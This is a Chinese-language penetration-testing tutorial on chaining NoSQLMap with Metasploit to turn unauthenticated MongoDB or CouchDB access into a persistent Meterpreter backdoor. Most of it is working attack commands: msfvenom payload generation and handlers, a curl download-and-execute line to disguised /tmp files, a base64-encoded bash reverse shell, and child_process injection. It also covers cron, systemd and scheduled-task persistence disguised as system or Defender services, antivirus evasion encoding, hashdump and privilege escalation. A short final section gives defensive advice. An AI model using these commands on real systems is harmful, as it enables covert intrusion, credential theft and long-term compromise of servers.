1. 项目概述当NoSQLMap遇上Metasploit在渗透测试的红队评估中针对NoSQL数据库的攻击链往往止步于数据泄露或未授权访问。很多测试人员拿到一个MongoDB或CouchDB的未授权访问权限后除了拖库似乎就不知道下一步该做什么了。这其实浪费了一个绝佳的立足点。今天要聊的就是把NoSQLMap这个专项工具与Metasploit这个渗透测试框架的“瑞士军刀”深度结合实现从数据库漏洞利用到持久化后门部署的完整攻击路径。简单说就是用NoSQLMap作为“开锁器”和“侦察兵”然后用Metasploit的Meterpreter作为“驻军”和“控制台”把一次简单的数据库入侵升级为对目标服务器的长期、稳定控制。这个思路的核心价值在于“武器化”和“自动化”。NoSQLMap本身擅长发现和利用NoSQL的配置弱点比如默认无认证、注入漏洞等但它缺乏一个强大的、交互式的后续攻击载荷。而Metasploit的Meterpreter恰恰提供了内存执行、规避杀软、多协议通信等高级特性。将两者集成意味着你可以通过一个相对“安静”的数据库漏洞作为入口悄无声息地植入一个功能全面的后门从而进行横向移动、权限提升、信息收集等一系列深度操作。这对于模拟高级持续性威胁APT的攻击手法或是进行更全面的安全评估具有非常实际的参考意义。2. 核心思路与集成架构设计2.1 为什么选择NoSQLMap与Metasploit集成首先我们需要理解这两个工具在攻击链中的定位。NoSQLMap是一个用Python编写的开源工具专门用于审计和自动化攻击NoSQL数据库如MongoDB、CouchDB、Redis等。它的强项在于自动化扫描、爆破弱口令、执行NoSQL注入甚至在特定条件下实现远程代码执行RCE。然而它的RCE能力往往依赖于数据库自身的特定功能如MongoDB的$where或system.js生成的往往是临时的、非交互式的shell功能有限且不稳定。Metasploit Framework则是一个完整的渗透测试平台。它的核心优势在于“漏洞利用”Exploit模块和“攻击载荷”Payload模块的庞大生态。Meterpreter作为其旗舰级的Payload运行在目标内存中无文件落地提供加密通信、扩展插件如抓取密码、键盘记录、端口转发等高级功能。它的缺点是需要一个可靠的“投送”机制来将其送达并执行在目标系统上。因此集成的逻辑就非常清晰了利用NoSQLMap作为“投送载体”将Metasploit的Meterpreter Payload投送到通过NoSQL漏洞获得执行权限的目标服务器上。这解决了两个关键问题一是为NoSQLMap的利用结果找到了一个强大、稳定的“下一站”二是为Metasploit的利用开辟了一条非传统的、针对应用层服务数据库的初始访问途径。2.2 集成方案的技术选型与考量实现集成主要有两种技术路径选择哪一种取决于目标环境和NoSQLMap利用方式能达到的权限级别。路径一基于命令执行的Payload投送这是最常见和直接的方式。前提是通过NoSQLMap的漏洞利用例如利用MongoDB的$where操作符注入JavaScript代码我们能够在目标数据库服务器上执行操作系统命令。操作流程在NoSQLMap成功利用漏洞并建立命令执行通道后我们不执行普通的whoami或id而是执行一个用于下载并执行Meterpreter Payload的命令。Payload形式通常使用msfvenom生成一个反向TCP连接的Shellcode可执行文件如.exefor Windows,.elffor Linux。投送命令在目标服务器上执行类似curl http://攻击机IP/payload.exe -o /tmp/payload.exe chmod x /tmp/payload.exe /tmp/payload.exe的命令Linux示例。或者使用更隐蔽的方式如利用Python/PowerShell等系统自带解释器直接执行内存中的Shellcode。优势通用性强只要获得命令执行权限即可。劣势需要目标服务器能访问互联网以下载Payload且文件可能落地触发安全软件告警。路径二基于本地漏洞利用的权限提升与投送有时通过NoSQL漏洞获得的可能是数据库服务的运行权限如mongod用户而非高权限的root或Administrator。这个权限可能无法直接执行我们投送的Payload。操作流程此时集成思路需要进阶。首先利用NoSQLMap获得一个初始的、低权限的shell。然后在这个shell环境中使用Metasploit的“本地提权”Local Exploit模块。例如在Metasploit中使用post/multi/recon/local_exploit_suggester模块来自动探测适合当前系统的本地提权漏洞。提权成功后再在高权限会话中部署最终的Meterpreter后门。优势能处理更复杂的权限环境攻击链更完整。劣势步骤更繁琐对目标系统环境依赖度高成功率受本地漏洞是否存在影响。在实际操作中路径一是本次讨论的重点因为它最贴合“NoSQLMap高级技巧”中“集成”与“部署”的主题实现了从数据库漏洞到稳定后门的一步到位。3. 环境准备与工具链配置3.1 攻击机环境搭建工欲善其事必先利其器。一个稳定、功能齐全的攻击环境是成功的第一步。推荐使用Kali Linux作为攻击机它预装了Metasploit并且方便安装NoSQLMap。1. 更新系统与安装NoSQLMap# 更新系统包列表 sudo apt update sudo apt upgrade -y # 安装Git和Python3 pip如果尚未安装 sudo apt install git python3-pip -y # 克隆NoSQLMap仓库 git clone https://github.com/codingo/NoSQLMap.git cd NoSQLMap # 使用pip3安装依赖注意建议使用python3 sudo pip3 install -r requirements.txt # 运行NoSQLMapPython3环境 python3 nosqlmap.py注意NoSQLMap的原始版本可能对Python3支持不完善如果遇到问题可以尝试寻找社区维护的Python3分支。安装依赖时务必关注输出信息解决可能出现的库版本冲突。2. 配置Metasploit与MsfvenomMetasploit通常已预装。我们需要确保msfvenomPayload生成器和msfconsole控制台可用。# 启动PostgreSQL数据库服务Metasploit需要它来存储数据 sudo systemctl start postgresql sudo systemctl enable postgresql # 初始化Metasploit数据库 sudo msfdb init # 运行msfconsole检查是否正常 sudo msfconsole # 在msfconsole内执行 db_status应显示“postgresql connected to msf”关键工具msfvenom是独立使用的用于生成我们需要的Payload。3. 生成Meterpreter Payload这是核心步骤。我们需要生成一个能被目标系统执行并反向连接回我们监听器的文件。 假设我们的攻击机IP是192.168.1.100监听端口为4444。针对Linux目标x64msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f elf -o /var/www/html/shell.elf-p linux/x64/meterpreter/reverse_tcp: 指定Payload类型为Linux 64位系统的Meterpreter反向TCP连接。LHOST/LPORT: 指定监听器的IP和端口。-f elf: 输出格式为ELF可执行文件。-o: 输出文件路径。这里放到了Apache的web根目录下便于目标下载。针对Windows目标x64msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f exe -o /var/www/html/shell.exe4. 启动Payload分发服务为了让目标服务器能下载Payload我们需要在攻击机上启动一个简单的HTTP服务。使用Python3可以快速搭建# 进入Payload所在目录 cd /var/www/html # 启动一个简单的HTTP服务器在80端口需要sudo权限 sudo python3 -m http.server 80或者使用已安装的Apache/Nginx服务。3.2 Metasploit监听器配置在另一个终端我们需要启动Metasploit监听器等待目标执行Payload后回连。sudo msfconsole在msfconsole中执行以下命令use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/reverse_tcp # 必须与msfvenom生成的Payload类型完全一致 set LHOST 192.168.1.100 set LPORT 4444 set ExitOnSession false # 允许在会话结束后继续监听便于多次连接 exploit -j -z # 作为后台任务-j启动监听不立即与会话交互-z执行jobs命令可以查看后台运行的监听任务。至此攻击机的准备工作全部就绪。4. 利用NoSQLMap实现命令执行与Payload投送4.1 针对MongoDB的漏洞利用实战假设我们通过扫描发现了一个IP为10.0.0.5的MongoDB服务运行在默认的27017端口且未启用身份验证。这是最经典的场景。1. 使用NoSQLMap进行侦察与确认python3 nosqlmap.py在NoSQLMap交互界面中[1] MongoDB [2] HTTP Site (CouchDB) ... 选择: 1 目标IP: 10.0.0.5 端口 [27017]: 是否启用认证? (y/n): nNoSQLMap会进行一系列自动化检查确认未授权访问并可能尝试获取数据库和集合列表。我们的目标不是拖库而是寻找命令执行的机会。2. 探索命令执行可能性MongoDB中如果服务器端JavaScript执行未被禁用默认是启用的可以通过$where操作符或mapReduce、$function等执行JS代码。NoSQLMap的“攻击”模块可能包含相关选项。 在NoSQLMap主菜单进入攻击模块寻找“JavaScript Evaluation”或“Command Injection”相关选项。不同版本菜单可能不同核心是找到能向数据库提交包含系统调用JS代码的地方。一个手动的、概念性的利用方法是如果我们能通过NoSQLMap或直接使用mongoshell连接可以尝试执行如下查询这需要在能执行任意查询的上下文中// 在某个集合的$where条件中尝试执行命令 db.collection.find({ $where: function() { return runCommand(getLog, global); } }); // 先尝试一个无害的MongoDB命令 // 如果上面可行尝试通过JS调用系统命令这需要MongoDB配置非常宽松且版本较旧 db.collection.find({ $where: function() { load(/proc/self/environ); return true; } }); // 尝试读取文件 // 更直接的系统命令执行通常需要通过如db.eval()但高版本已移除或严格限制实际上在现代MongoDB中直接通过查询实现RCE非常困难。更现实的场景是利用MongoDB的“服务器端JavaScript”存储功能。如果攻击者能向system.js集合插入自定义函数并且应用在后续查询中调用了这个函数则可能实现RCE。NoSQLMap的自动化脚本可能会尝试这类攻击。3. 关键步骤构造Payload投送命令假设我们通过某种方式可能是NoSQLMap自动化攻击成功或者我们手动发现了一个注入点确认可以在目标服务器假设是Linux上执行系统命令。执行的命令是curl http://192.168.1.100/shell.elf -o /tmp/.systemd-helper chmod x /tmp/.systemd-helper /tmp/.systemd-helper curl ... -o /tmp/.systemd-helper从我们的攻击机下载Payload保存为隐蔽名称。chmod x赋予执行权限。 /tmp/.systemd-helper 执行Payload并放入后台运行。要点命令需要根据目标环境调整。如果目标没有curl可以尝试wget。路径和文件名要尽量伪装避免被运维人员轻易发现。在NoSQLMap中如果存在命令执行接口我们需要将上述整个命令作为字符串通过其漏洞利用模块提交。这可能需要我们将命令进行适当的编码如Base64以绕过可能的字符过滤或引号转义问题。例如先将命令Base64编码echo -n curl http://192.168.1.100/shell.elf -o /tmp/.systemd-helper chmod x /tmp/.systemd-helper /tmp/.systemd-helper | base64得到编码字符串。然后构造一个通过MongoDB JS执行的命令如// 假设存在一个注入点可以让我们执行eval eval(require(child_process).exec(echo base64_cmd | base64 -d | bash));这个过程高度依赖于具体的漏洞类型和NoSQLMap模块的实现。在实际操作中你可能需要深入研究NoSQLMap的源码修改或编写自定义的利用模块将我们生成的Payload投送命令集成进去。这才是“高级技巧”的真正体现——工具拼接与自动化脚本编写。4.2 针对CouchDB的利用差异CouchDB默认端口5984的利用方式有所不同。CouchDB的RESTful API如果配置不当如绑定到0.0.0.0且未设置密码攻击者可以修改数据库的“查询服务器”配置。NoSQLMap可以自动化这个过程。CouchDB的查询服务器如javascript用于处理设计文档中的视图函数。通过修改其配置可以指向一个恶意的命令解释器从而在每次执行视图时触发RCE。NoSQLMap的CouchDB攻击模块可能会尝试检查未授权访问。获取或修改_config/query_servers/javascript的配置。将其设置为类似/bin/bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}这样的值这是一个编码后的反弹shell命令。然后创建一个触发该查询服务器的视图从而执行命令。在这种情况下我们的Payload投送命令下载并执行Meterpreter需要被编码并替换上面的反弹shell命令。同样这需要对NoSQLMap的CouchDB利用逻辑有清晰了解并可能需要进行定制化修改。5. Meterpreter后门部署与持久化技巧当我们在Metasploit的监听器界面看到[*] Sending stage (3020772 bytes) ...和[*] Meterpreter session 1 opened的提示时恭喜你已经成功通过NoSQL漏洞获得了一个Meterpreter会话。但这只是一个内存中的会话目标服务器重启就会消失。接下来我们需要部署一个持久的后门。5.1 基础持久化服务与计划任务在Meterpreter会话中使用sessions -i 1交互我们可以使用Metasploit内置的persistence模块。meterpreter run persistence -h查看帮助常用选项-S系统启动时运行需要提权。-U用户登录时运行。-X系统启动时运行无需提权但某些系统需要。-i 30回连间隔秒。-p 443回连端口可改为其他端口如443、53等常用端口以规避防火墙。-r 192.168.1.100监听器IP。一个典型的命令是meterpreter run persistence -S -U -i 30 -p 4444 -r 192.168.1.100此命令会尝试多种方法安装持久化后门如在Linux下创建systemd服务或cron任务在Windows下创建服务或注册表启动项。但是这个模块生成的Payload是固定的容易被特征检测。5.2 高级持久化自定义Payload与隐蔽安装更高级的做法是手动部署一个自定义的、更隐蔽的后门。对于Linux系统选择隐蔽的安装位置如/lib/systemd/systemd-networkd、/usr/libexec/等目录下文件名模仿系统文件。使用msfvenom生成更合适的Payload可以生成一个不直接反弹TCP而是使用HTTPS、DNS等协议隧道的Payload以绕过网络层检测。msfvenom -p linux/x64/meterpreter/reverse_https LHOST192.168.1.100 LPORT443 -f elf -o /var/www/html/persist.elf在Meterpreter会话中手动部署meterpreter upload /var/www/html/persist.elf /tmp/.cache-update meterpreter shell chmod x /tmp/.cache-update # 方法A写入cron需要root echo * * * * * /tmp/.cache-update /dev/null 21 /etc/cron.d/.system-update # 方法B创建systemd服务需要root更隐蔽 cat /etc/systemd/system/systemd-network-helper.service EOF [Unit] DescriptionNetwork Helper Service Afternetwork.target [Service] Typesimple ExecStart/tmp/.cache-update Restartalways RestartSec10 [Install] WantedBymulti-user.target EOF systemctl daemon-reload systemctl enable --now systemd-network-helper.service在Metasploit中配置对应的HTTPS监听器use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/reverse_https set LHOST 192.168.1.100 set LPORT 443 set HandlerSSLCert /path/to/cert.pem # 可选设置SSL证书更逼真 set ExitOnSession false exploit -j对于Windows系统利用MSF的migrate命令首先迁移到一个稳定的进程如lsass.exe,svchost.exe中避免会话因进程结束而丢失。meterpreter ps # 查看进程 meterpreter migrate PID_of_stable_process使用persistence_exe模块这个模块允许你指定一个本地的可执行文件作为持久化后门而不是使用内置的脚本。meterpreter run persistence_exe -h # 先在本机用msfvenom生成一个exe # 然后上传到目标 meterpreter upload /path/to/custom_backdoor.exe C:\\Windows\\Temp\\helpctr.exe meterpreter run persistence_exe -U -X -i 30 -p 443 -r 192.168.1.100 -F C:\\Windows\\Temp\\helpctr.exe手动注册服务或计划任务meterpreter shell # 创建计划任务Windows schtasks /create /tn MicrosoftEdgeUpdate /tr C:\Windows\Temp\helpctr.exe /sc minute /mo 30 /ru SYSTEM /f # 或创建服务需要管理员权限 sc create WinDefendUpdate binPath C:\Windows\Temp\helpctr.exe start auto DisplayName Windows Defender Update Helper sc start WinDefendUpdate5.3 权限提升与横向移动准备获得初始Meterpreter会话后权限可能不高。需要立即进行权限提升。meterpreter getuid meterpreter getsystem # 尝试自动提权Windows # 或者使用本地提权模块 meterpreter background # 将当前会话放到后台 msf6 use post/multi/recon/local_exploit_suggester msf6 post(local_exploit_suggester) set SESSION 1 msf6 post(local_exploit_suggester) run根据建议的漏洞使用对应的exploit/windows/local/...模块进行提权。提权成功后你就能执行需要高权限的持久化操作了。同时开始信息收集为横向移动做准备meterpreter run post/windows/gather/enum_domain # 枚举域信息Windows域环境 meterpreter hashdump # 抓取哈希需要System权限 meterpreter run post/linux/gather/enum_system # 枚举Linux系统信息 meterpreter arp # 查看ARP表发现内网其他主机6. 常见问题、排查与防御建议6.1 攻击过程中常见问题排查问题现象可能原因排查步骤与解决方案NoSQLMap扫描无结果或无法连接目标服务不存在、防火墙阻止、网络不通1. 使用nc -zv 目标IP 端口检查端口是否开放。2. 检查NoSQLMap的IP/端口输入是否正确。3. 确认攻击机与目标网络可达。NoSQLMap确认未授权访问但无法执行命令数据库版本较新已禁用危险功能或利用方式不对1. 检查数据库版本和配置。现代MongoDB默认禁用eval$where中JS功能受限。2. 尝试其他攻击向量如CouchDB的查询服务器配置攻击。3. 深入研究NoSQLMap的具体模块看是否支持更高级的利用链。Payload下载成功但监听器无回连防火墙出站规则阻止Payload类型不匹配杀软拦截1. 在目标机上尝试curl 攻击机IP确认出站连接是否通。2.极其重要检查msfvenom生成的Payload架构x86/x64是否与目标系统匹配以及msfconsole中set PAYLOAD的设置是否与之完全一致。3. 尝试生成编码或加密的Payload绕过静态查杀msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST... LPORT... -e x86/shikata_ga_nai -i 5 -f exe -o shell.exeMeterpreter会话不稳定很快断开网络波动Payload进程被终止防病毒动态检测1. 使用ping测试网络稳定性。2. 尽快使用migrate命令将会话迁移到稳定进程。3. 考虑使用reverse_https或reverse_dns等更稳定的传输方式。持久化脚本执行失败权限不足路径错误安全策略限制1. 使用getuid和getsystem确认权限尝试提权后再执行。2. 使用meterpreter pwd和shell下的cd命令确认当前目录和文件路径。3. 对于Windows检查组策略是否禁止了计划任务或服务创建。6.2 防御视角如何防范此类攻击链作为防御方理解攻击链是构建有效防御的基础。加固NoSQL数据库强制身份认证绝不使用默认或无密码配置。为数据库设置强密码并启用基于角色的访问控制RBAC。网络隔离将数据库服务绑定在内部网络接口如127.0.0.1或特定内网IP而非0.0.0.0。使用防火墙严格限制访问源IP。禁用危险功能在MongoDB中禁用服务器端JavaScript执行security.javascriptEnabled: false。在CouchDB中严格管理查询服务器配置和_config端点的访问权限。及时更新保持数据库版本最新修复已知漏洞。纵深防御与监测主机安全在数据库服务器上安装EDR/主机安全软件监控可疑进程创建如从/tmp下载并执行未知文件、网络连接异常外连和持久化操作异常服务、计划任务、启动项添加。网络流量分析监测从数据库服务器发起的、到非信任外部IP的异常网络连接特别是到常见渗透测试工具默认端口如4444, 4443, 53的连接。日志审计集中收集并分析数据库日志、系统日志和安全日志。关注认证失败、异常查询如包含$where、eval、system.js的复杂操作、配置修改等事件。最小权限原则运行数据库服务的操作系统账户应使用低权限账户避免使用root或Administrator。这样即使被攻破攻击者获得的初始权限也有限增加了提权和持久化的难度。这套从NoSQLMap到Metasploit的集成攻击手法清晰地展示了一个应用层漏洞如何被串联起来演变为严重的服务器失陷事件。对于攻击方它提供了将单点漏洞利用价值最大化的思路对于防御方它强调了单一安全措施如仅设置数据库密码的不足必须通过配置加固、网络隔离、行为监控和权限管理构建纵深防御体系。在实际的渗透测试中成功与否往往取决于对这些细节的把握和对工具链的灵活拼接能力。